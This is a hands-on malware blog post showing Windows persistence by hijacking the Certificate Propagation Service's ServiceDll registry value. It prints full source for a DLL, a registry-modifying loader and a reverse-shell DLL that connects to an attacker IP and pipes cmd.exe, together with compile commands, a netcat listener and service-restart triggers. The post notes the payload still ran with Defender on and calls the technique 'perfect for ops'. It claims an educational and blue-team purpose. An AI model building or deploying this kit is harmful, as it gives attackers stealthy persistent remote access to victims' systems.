4 minute read

Hello, cybersecurity enthusiasts and white hackers!

pers

Today I want to show you one interesting malware persistence trick that I discovered, maybe someone has already found something similar in the Windows registry for other services, but to be honest, this was new to me.

main idea

Persistence doesn’t have to be noisy. No autoruns, no schtasks, no WMI. We hijack a built-in Windows service: Certificate Propagation Service (CertPropSvc) - and force it to load our own DLL by modifying ServiceDll value in the registry.

In other words, this is just another dll hijacking trick.

practical example

Let’s do this in practice. First of all, look at this Registry path:

HKLM\SYSTEM\CurrentControlSet\Services\CertPropSvc\Parameters

Windows trusts whatever DLL is set here. Run command:

reg query "HKLM\SYSTEM\CurrentControlSet\Services\CertPropSvc\Parameters" /s 

malware

As you can see, interesting things is ServiceDll :)

So we just change it to our malicious DLL and wait until the service restarts (or trigger it manually).

First of all create our “malicious” DLL meow.cpp:

/*
* meow.cpp
* "malicious" DLL for persistence
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2025/09/14/malware-pers-28.html
*/
#include <windows.h>
#include <stdio.h>

extern "C" {
  __declspec(dllexport) BOOL WINAPI runMe(void) {
  FILE* fp = fopen("meow-hack.txt", "a+");
  if (fp) {
    fprintf(fp, "Meow-meow!\n");
    fclose(fp);
  }
  return TRUE;
  }
}

BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  nReason, LPVOID lpReserved) {
  switch (nReason) {
  case DLL_PROCESS_ATTACH:
    runMe();
    break;
  case DLL_PROCESS_DETACH:
    break;
  case DLL_THREAD_ATTACH:
    break;
  case DLL_THREAD_DETACH:
    break;
  }
  return TRUE;
}

As you can see, it’s something simple as usual, write Meow-meow\n string to file.

Then we need, a minimal C program that writes our DLL path into the registry pers.c:

/*
 * pers.c
 * peristence via CertPropSvc
 * author @cocomelonc
 * https://cocomelonc.github.io/malware/2025/09/14/malware-pers-28.html
*/
#include <windows.h>
#include <stdio.h>
 
int main() {
  HKEY hKey;
  const char* regPath = "SYSTEM\\CurrentControlSet\\Services\\CertPropSvc\\Parameters";
  const char* dllPath = "C:\\Windows\\System32\\meow.dll";
 
  // open or create the Parameters key
  LONG result = RegCreateKeyExA(
    HKEY_LOCAL_MACHINE,
    regPath,
    0, NULL, 0,
    KEY_SET_VALUE,
    NULL,
    &hKey,
    NULL
  );
 
  if (result != ERROR_SUCCESS) {
    printf("[-] failed to open registry key. error code: %ld\n", result);
    return 1;
  }
 
  // set DLL path
  result = RegSetValueExA(
    hKey,
    "ServiceDll",
    0,
    REG_EXPAND_SZ,
    (const BYTE*)dllPath,
    (DWORD)(strlen(dllPath) + 1)
  );
 
  RegCloseKey(hKey);
 
  if (result == ERROR_SUCCESS) {
    printf("[+] meow! dll path set successfully. reboot or restart CertPropSvc to trigger.\n");
  } else {
    printf("[-] failed to set DllPath. code: %ld\n", result);
  }
 
  return 0;
}

So logic is pretty simple.

demo

Let’s go to see this in action. First of all compile our “meow” DLL:

x86_64-w64-mingw32-gcc -shared -o meow.dll meow.cpp

malware

Then compile our persistence script:

x86_64-w64-mingw32-g++ -O2 pers.c -o pers.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

malware

Copy our DLL to C:\Windows\System32\:

malware

Then run our persistence script, and finally, recheck registry path again (requires admin rights (write access to HKLM)):

.\pers.exe
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertPropSvc\Parameters" /s

malware

As you can see, the new value is equal to our malicious dll.

If the service starts - our payload runs. As easy as that.

sc stop CertPropSvc
sc start CertPropSvc

malware

Let’s check if our file with the Meow-meow string has been created:

type meow-hack.txt

malware

malware

As you can see, everything worked as expected! =^..^=

practical example 2

What about something with more sophisticated logic? Here’s a revshell DLL using WSAConnect():

/*
* meow2.cpp
* "malicious" DLL for persistence: revsh
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2025/09/14/malware-pers-28.html
*/
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>

extern "C" {
  __declspec(dllexport) BOOL WINAPI runMe(void) {
    WSADATA socketData;
    SOCKET sock;
    struct sockaddr_in addr;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
  
    char *attackerIP = "10.10.10.1";
    short attackerPort = 4444;

    // initialize socket library
    WSAStartup(MAKEWORD(2, 2), &socketData);

    // create socket object
    sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);

    addr.sin_family = AF_INET;
    addr.sin_port = htons(attackerPort);
    addr.sin_addr.s_addr = inet_addr(attackerIP);

    // establish connection to the remote host
    WSAConnect(sock, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL);

    memset(&si, 0, sizeof(si));
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE) sock;

    // initiate cmd.exe with redirected streams
    CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

    return TRUE;
  }
}

BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  nReason, LPVOID lpReserved) {
  switch (nReason) {
  case DLL_PROCESS_ATTACH:
    runMe();
    break;
  case DLL_PROCESS_DETACH:
    break;
  case DLL_THREAD_ATTACH:
    break;
  case DLL_THREAD_DETACH:
    break;
  }
  return TRUE;
}

Just use my attacker’s machine IP address here:

malware

demo 2

Let’s go to see second example in action. Compile our meow2.cpp:

x86_64-w64-mingw32-g++ -shared -o meow.dll meow2.cpp -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lws2_32

malware

Prepare netcat listener:

nc -nlvp 4444

malware

Copy updated meow.dll to the victim’s machine and restart service.

malware

malware

malware

malware

As you can see, everything is worked perfectly as expected here! =^..^=

The interesting thing is, after reboot and run service again, my Windows Defender turned on real-time protection. Either way, the DLL gets loaded and the payload runs!

malware

malware

conclusion

Persistence via Windows service DLL hijack is slick and stable. CertPropSvc is often overlooked - which makes it perfect for ops.

I hope this post spreads awareness to the blue teamers of this interesting persistence technique, and adds a weapon to the red teamers arsenal.

This is a practical case for educational purposes only.

Malware persistence - part 1. Registry run keys
source code in github

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine